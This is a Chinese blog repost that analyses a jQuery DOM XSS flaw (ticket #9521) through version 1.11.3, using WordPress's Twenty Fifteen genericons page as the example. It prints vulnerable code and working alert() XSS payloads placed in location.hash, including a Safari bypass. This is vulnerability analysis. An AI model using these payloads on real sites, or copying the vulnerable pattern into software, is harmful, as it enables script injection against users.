当前位置: 首页 > news >正文

jQuery = 1.11.3 DomXSS漏洞

 

听团里说WordPress又爆跨站漏洞了:“ XSS漏洞在Jetpack和二十五默认主题影响百万WordPress用户 ”,分析发现原来是jQuery老版本的DOM XSS漏洞【错误#9521】。
11年dmethvin提交jQuery 1.6.1版本的Ticket#9521,其原因是由$() | jQuery()预选的CSS选择器在其他情况下可用于创建HTML元素,如果编码不当(事实上很多编码不当的情况),将会导致产生DomXSS漏洞。

示例(jQuery 1.6.1)

  1. <html>
  2. <head>
  3.     <title>jQuery DomXSS test</title>
  4.     <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></script>
  5.     <script>
  6.         $(location.hash);
  7.     </script>
  8. </head>
  9. <body>
  10. Hello, jQuery.
  11. </body>
  12. </html>
复制代码



WordPress默认主题二十一个例子

example.html 297-299行:
  1. // set permalink
  2. var permalink = cssclass.split(' genericon-')[1];
  3. window.location.hash = permalink;
复制代码

console.log永久链接:

  • http://linux.im/wp-content/themes/twentyfifteen/genericons/example.html#123
  • console.log(permalink):genericon-123
335-343行:
  1. // pick random icon if no permalink, otherwise go to permalink
  2. if ( window.location.hash ) {
  3.     permalink = "genericon-" + window.location.hash.split('#')[1];
  4.     attr = jQuery( '.' + permalink ).attr( 'alt' );
  5.     cssclass = jQuery( '.' + permalink ).attr('class');
  6.     displayGlyph( attr, cssclass );
  7. } else {
  8.     pickRandomIcon();
  9. }
复制代码
如果存在window.location.hash则拼接固定链接并使用jQuery的进行属性操作,问题出现,当我们将的location.hash为设置<img src=@ οnerrοr=alert(1)>时,导致跨站。

jQuery 1.6.1源码

  1. >_ $
  2. jquery.js:25 function ( selector, context ) {
  3.         // The jQuery object is actually just the init constructor 'enhanced'
  4.         return new jQuery.fn.init( selector, context, rootjQuery );
  5.     }
  6. >_ jQuery.fn.init
  7. jquery.js:93 function ( selector, context, rootjQuery ) {
  8.         var match, elem, ret, doc;
  9.         // Handle $(""), $(null), or $(undefined)
  10.         if ( !selector ) {
  11.             return this;
  12.         }
  13.         // Handle $(DOMElement)
  14.         if ( selector.nodeType ) {
  15.             this.context = this[0] = selector;
  16.             this.length = 1;
  17.             return this;
  18.         }
  19. ......
  20.         if (selector.selector !== undefined) {
  21.             this.selector = selector.selector;
  22.             this.context = selector.context;
  23.         }
  24.         return jQuery.makeArray( selector, this );
  25.     }
复制代码

其中jQuery.fn.init:

  1. if ( typeof selector === "string" ) {
  2.     // Are we dealing with HTML string or an ID?
  3.     if ( selector.charAt(0) === "<" && selector.charAt( selector.length - 1 ) === ">" && selector.length >= 3 ) {
  4.         // Assume that strings that start and end with <> are HTML and skip the regex check
  5.         match = [ null, selector, null ];
  6.     } else {
  7.         match = quickExpr.exec( selector );
  8.     }
复制代码

quickExpr对选择器进行过滤,正则为:

  1. quickExpr = /^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
复制代码
显然我们上面的Payload是能通过的。

jQuery 1.7.2源码

当时漏洞报告者在#9521中提到修复方案:
  1. the quick patch by jquery is here
  2. -       quickExpr = /^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
  3. +       quickExpr = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
复制代码

尽管在开始的例子代码中不能生效,但由于程序开发人员的编码习惯显然按照上面的修复并没有什么卵用,修复后原有的攻击代码效果:

  1. >_ location.hash
  2. "#test<img src=1 οnerrοr=alert(1)>"
  3. >_$(location.hash)
  4. []
复制代码

因为正则新增#的原因导致增加失败,在真实环境中属性或其他操作直接使用location.hash的可能性叫小,开发人员以及业务需求使得上面的修复方案没有意义,例如开始提到的WordPress默认主题XSS漏洞337行:

  1. permalink = "genericon-" + window.location.hash.split('#')[1];
复制代码
程序将获取到的哈希['#test111'] split后,只保存test111,也就可以得到我们能忽略到1.7.2的修复。

jQuery 1.11.3源码

在前面版本中其实能够得以证明jQuery团队确实修复#9521的问题就是quickExpr的上方注释:
  1. // A simple way to check for HTML strings or ID strings
  2. // Prioritize #id over <tag> to avoid XSS via location.hash (#9521)
  3. quickExpr = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
复制代码

可能开发团队遇到了1.7.2中我提到问题的尴尬窘境,他们在1.11.3又对其进行了升级:

  1. rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
复制代码
看到这个正则我几乎无语,使用开头和结尾<就能轻易绕过:

终于,他们在2.x系列正式修复了这个问题:
  1. rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
复制代码

其他浏览器

如何所见,上面这些Payload并不会在Safari中成效,通过调试即可发现Chrome未对location.hash部分进行URL编码处理进入函数,而Safari会经过URL编码进入函数,是这样的:

但是我们仍然可以使用html5的一些特性,引发错误并onerror出来:
  1. file:///Users/evi1m0/Desktop/1.html#<video><source/οnerrοr=alert(1)>
复制代码


 

来源:

http://www.hack80.com/forum.php?mod=viewthread&tid=47045

转载于:https://www.cnblogs.com/coolid/p/9237258.html

相关文章:

  • EOS多节点组网:商业场景分析以及节点启动时序
  • maven与sbt修改国内镜像
  • U盘安装Linux CentOS 6.8 系统
  • 5.20界面初步完成
  • spring mvc 文件上传 ajax 异步上传
  • react-native
  • C语言学习(42)
  • 21.拉取删除远程分支
  • Java类只加载一次的情况
  • pyenv BUILD FAILED解决方法
  • window10 vs 以管理员打开
  • Wincc用户登录VBS脚本
  • 网页插入腾讯视频
  • Java的注释文档和嵌入式文档
  • 这 10 款良心 Windows 软件,改变你对国产的认知
  • [rust! #004] [译] Rust 的内置 Traits, 使用场景, 方式, 和原因
  • const let
  • CSS3 变换
  • Python利用正则抓取网页内容保存到本地
  • React+TypeScript入门
  • SAP云平台里Global Account和Sub Account的关系
  • 百度贴吧爬虫node+vue baidu_tieba_crawler
  • 极限编程 (Extreme Programming) - 发布计划 (Release Planning)
  • 漂亮刷新控件-iOS
  • 如何实现 font-size 的响应式
  • 使用Maven插件构建SpringBoot项目,生成Docker镜像push到DockerHub上
  • 双管齐下,VMware的容器新战略
  • 网页视频流m3u8/ts视频下载
  • 一些关于Rust在2019年的思考
  • 鱼骨图 - 如何绘制?
  • 《天龙八部3D》Unity技术方案揭秘
  • #1014 : Trie树
  • #我与Java虚拟机的故事#连载09:面试大厂逃不过的JVM
  • (JS基础)String 类型
  • (附源码)python房屋租赁管理系统 毕业设计 745613
  • (七)MySQL是如何将LRU链表的使用性能优化到极致的?
  • (十八)用JAVA编写MP3解码器——迷你播放器
  • (算法设计与分析)第一章算法概述-习题
  • (一)搭建springboot+vue前后端分离项目--前端vue搭建
  • (译)2019年前端性能优化清单 — 下篇
  • (原创)boost.property_tree解析xml的帮助类以及中文解析问题的解决
  • (转)淘淘商城系列——使用Spring来管理Redis单机版和集群版
  • * CIL library *(* CIL module *) : error LNK2005: _DllMain@12 already defined in mfcs120u.lib(dllmodu
  • **PHP分步表单提交思路(分页表单提交)
  • .mat 文件的加载与创建 矩阵变图像? ∈ Matlab 使用笔记
  • .net core 微服务_.NET Core 3.0中用 Code-First 方式创建 gRPC 服务与客户端
  • .NET Core 中插件式开发实现
  • .NET开源全面方便的第三方登录组件集合 - MrHuo.OAuth
  • .NET连接数据库方式
  • .net实现客户区延伸至至非客户区
  • .net下的富文本编辑器FCKeditor的配置方法
  • @EnableConfigurationProperties注解使用
  • @transactional 方法执行完再commit_当@Transactional遇到@CacheEvict,你的代码是不是有bug!...
  • [2018-01-08] Python强化周的第一天
  • [APIO2012] 派遣 dispatching